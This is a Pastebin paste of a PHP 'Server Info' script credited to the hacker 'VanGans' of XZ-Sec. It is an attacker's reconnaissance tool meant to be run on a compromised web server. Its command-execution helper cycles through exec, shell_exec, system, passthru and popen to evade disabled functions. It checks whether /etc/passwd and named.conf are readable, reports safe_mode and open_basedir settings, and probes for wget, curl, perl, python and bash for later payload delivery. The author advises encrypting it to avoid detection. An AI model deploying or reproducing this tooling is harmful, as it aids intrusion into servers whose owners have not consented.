Advertisement
VanGans

Server Info

Mar 8th, 2019
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.65 KB | None | 0 0
  1. <?
  2. /*
  3. This File Was Created By VanGans
  4.  
  5. Facebook : https://facebook.com/irfanarekporjk
  6.  
  7. P.S: If The Tool Will Not Work Good Try To Crypt IT ^^ !
  8.  
  9. GooD Luck.
  10.  
  11. The Last Update:05/03/2019
  12.  
  13. ******************************************************
  14. Change Log:
  15. ----------
  16. 05/03/2019:
  17. 1-Add The Current Dir Option
  18. 2-Coloring Some Results
  19. ----------
  20. ******************************************************
  21.  
  22. */
  23.  
  24. @error_reporting(0);
  25.  
  26. function excute($cfe) {
  27.   $res = '';
  28.   if (!empty($cfe)) {
  29.     if(@function_exists('exec')) {
  30.       @exec($cfe,$res);
  31.       $res = join("\n",$res);
  32.     } elseif(@function_exists('shell_exec')) {
  33.       $res = @shell_exec($cfe);
  34.     } elseif(@function_exists('system')) {
  35.       @ob_start();
  36.       @system($cfe);
  37.       $res = @ob_get_contents();
  38.       @ob_end_clean();
  39.     } elseif(@function_exists('passthru')) {
  40.       @ob_start();
  41.       @passthru($cfe);
  42.       $res = @ob_get_contents();
  43.       @ob_end_clean();
  44.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  45.       $res = "";
  46.       while(!@feof($f)) { $res .= @fread($f,1024); }
  47.       @pclose($f);
  48.     } else { $res = "Ex() Disabled!"; }
  49.   }
  50.   return $res;
  51. }
  52.  
  53.     // Show Stat
  54.   function showstat($stat) {
  55.     if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
  56.     else { return "<font color=red><b>OFF</b></font>"; }
  57.   }
  58.   function named_conf(){
  59.   if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
  60.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  61.   }
  62.   function passwd(){
  63.   if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
  64.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  65.   }
  66.   function testoracle() {
  67.   if (@function_exists('ocilogon')) { return showstat("on"); }
  68.   else { return showstat("off"); }
  69.   }
  70.   function testpostgresql() {
  71.     if (@function_exists('pg_connect')) { return showstat("on"); }
  72.     else { return showstat("off"); }
  73.   }
  74.   function testmssql() {
  75.     if (@function_exists('mssql_connect')) { return showstat("on"); }
  76.     else { return showstat("off"); }
  77.   }
  78.   function testmysql() {
  79.     if (@function_exists('mysql_connect')) { return showstat("on"); }
  80.     else { return showstat("off"); }
  81.   }
  82.  
  83.   function showdisablefunctions() {
  84.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  85.     else { return "<font color=green><b>NONE</b></b></font>"; }
  86.   }
  87.     function openbase_dir() {
  88.     if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
  89.     else { return "<font color=green><b>NONE</b></b></font>"; }
  90.   }
  91.     function testfetch() {
  92.     if(excute('fetch --help')) { return showstat("on"); }
  93.     else { return showstat("off"); }
  94.   }
  95.     function testwget() {
  96.     if (excute('wget --help')) { return showstat("on"); }
  97.     else { return showstat("off"); }
  98.   }
  99.     function testperl() {
  100.     if (excute('perl --help')) { return showstat("on"); }
  101.     else { return showstat("off"); }
  102.   }
  103.     function testpy() {
  104.     if (excute('python --help')) { return showstat("on"); }
  105.     else { return showstat("off"); }
  106.   }
  107.       function testsh() {
  108.     if (excute('bash --help')) { return showstat("on"); }
  109.     else { return showstat("off"); }
  110.   }
  111.     function testcurl() {
  112.     if (@function_exists('curl_version')) { return showstat("on"); }
  113.     else { return showstat("off"); }
  114.   }
  115.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  116.     $safemode = TRUE;
  117.     $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
  118.   }else{
  119.     $safemode = FALSE;
  120.     $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
  121.   }
  122.  
  123.   $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
  124.  
  125. echo "
  126. <html><head>
  127. <title>VanGans Server Info ".$_SERVER['HTTP_HOST']." ~</title></head><body>
  128. <style type=text/css>
  129. body{background-color:#111;font-family:verdana;}
  130. .info{background-color:#fff; width=100%;}
  131. input,textarea{border:1px solid #000;}
  132. </style>
  133. <div class=info>
  134. <table bgcolor=#ff0000 width=100%px height=20px><tr>
  135. <td><font color=#fff size=1px><center>SERVER INFO | DEVELOPED BY VanGans</center></font></td>
  136. </tr></table>
  137. <font color=#000 size=2px>
  138. <center><span><font color='#111'>
  139. <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
  140. <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
  141. <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
  142. <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
  143. <br> Current Dir: <font color=blue>{$pwd} |</font></br>
  144. <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
  145. <br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
  146. <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
  147. <br> Disabled Functions: ".@showdisablefunctions()."|</br>
  148. <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
  149. <br>
  150. MySQL: ".@testmysql()."|
  151. MSSQL: ".@testmssql()."|
  152. Oracle: ".@testoracle()."|
  153. PostgreSQL: ".@testpostgresql()."|
  154. cURL: ".@testcurl()."|
  155. Fetch: ".@testfetch()."|
  156. WGet: ".@testwget()."|
  157. Perl: ".@testperl()."|
  158. Python: ".@testpy()."|
  159. Bash: ".@testsh()."|
  160. </center>
  161. </font>
  162. <br/>
  163. </div>
  164. <p align='center'><font color='#FF00FF'>Copyrights goes to me | 2019 | XZ-Sec<br/></font>
  165. <p align='center'><font color='#FF00FF'>Greetz : ACX<br/></font>
  166. </p>
  167. <br/>
  168. ";
  169. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement